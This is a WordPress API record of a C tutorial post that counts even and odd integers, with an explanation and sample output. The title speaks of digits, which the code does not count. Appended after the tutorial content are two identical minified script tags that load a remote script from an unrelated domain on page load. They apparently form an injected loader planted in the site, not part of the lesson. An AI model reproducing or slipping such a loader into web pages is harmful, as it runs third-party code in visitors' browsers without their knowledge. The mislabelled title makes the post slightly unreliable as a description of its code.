{"id":643,"date":"2024-10-10T10:51:39","date_gmt":"2024-10-10T05:21:39","guid":{"rendered":"https:\/\/codexplained.in\/?p=643"},"modified":"2025-11-24T16:03:05","modified_gmt":"2025-11-24T10:33:05","slug":"count-even-and-odd-digits","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=643","title":{"rendered":"Count Even and Odd Digits"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int n, num;\n    int even_count = 0, odd_count = 0;\n\n    \/\/ Input the number of integers to be checked\n    printf(&quot;Enter the number of integers: &quot;);\n    scanf(&quot;%d&quot;, &amp;n);\n\n    \/\/ Loop through the specified number of integers\n    for (int i = 0; i &lt; n; i++) {\n        printf(&quot;Enter integer %d: &quot;, i + 1);\n        scanf(&quot;%d&quot;, &amp;num);\n\n        \/\/ Check if the number is even or odd\n        if (num % 2 == 0) {\n            even_count++; \/\/ Increment even count if the number is even\n        } else {\n            odd_count++; \/\/ Increment odd count if the number is odd\n        }\n    }\n\n    \/\/ Output the results\n    printf(&quot;Total even numbers: %d\\n&quot;, even_count);\n    printf(&quot;Total odd numbers: %d\\n&quot;, odd_count);\n\n    return 0; \/\/ Indicate that the program finished successfully\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<p><strong>User Input<\/strong>: The program first prompts the user to enter the number of integers they want to check.<strong>Loop for Input<\/strong>: It uses a loop to read each integer.<strong>Check Odd or Even<\/strong>: For each integer, it checks if the number is even or odd using the modulus operator (<code>%<\/code>):<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If <code>num % 2 == 0<\/code>, it increments the even count.<\/li>\n\n\n\n<li>Otherwise, it increments the odd count.<\/li>\n<\/ul>\n\n\n\n<p><strong>Output Results<\/strong>: After processing all numbers, it prints the total counts of even and odd numbers.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output:<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Enter the number of integers: 5\nEnter integer 1: 10\nEnter integer 2: 21\nEnter integer 3: 34\nEnter integer 4: 43\nEnter integer 5: 60\n\nTotal even numbers: 3\nTotal odd numbers: 2<\/code><\/pre>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: User Input: The program first prompts the user to enter the number of integers they want to check.Loop for Input: It uses a loop to read each integer.Check Odd or Even: For each integer, it checks if the number is even or odd using the modulus operator (%): Output Results: After processing all numbers, [&hellip;]<\/p>\n","protected":false},"author":38,"featured_media":644,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-643","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=643"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/643\/revisions"}],"predecessor-version":[{"id":1482,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/643\/revisions\/1482"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/644"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=643"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}